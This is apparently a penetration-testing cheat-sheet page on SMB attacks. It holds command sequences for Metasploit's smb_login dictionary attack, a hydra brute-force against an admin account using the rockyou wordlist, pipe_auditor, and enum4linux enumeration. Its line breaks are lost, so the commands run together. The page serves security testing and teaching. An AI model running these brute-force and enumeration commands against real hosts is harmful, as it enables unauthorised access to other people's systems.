Dictionary Attack
This module will test an SMB login on a range of machines and report successful logins. If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access.
Metasploit
Section titled “Metasploit”msfconsoleuse auxiliary/scanner/smb/smb_loginset rhosts $IPset pass_file /usr/share/wordlists/metasploit/unix_passwords.txtset smbuser $USER_NAME # first there`s a need to enumerate some usersrunhydra -l admin -P /usr/share/wordlists/rockyou.txt $IP smb
SMB pipes
Section titled “SMB pipes”msfconsoleuse auxiliary/scanner/smb/pipe_auditorset smbuser $USER_NAMEset smbpass $PASSWORDset rhosts $IPrunenum4linux
Section titled “enum4linux”enum4linux -r -u "$USER_NAME" -p "$PASSWORD"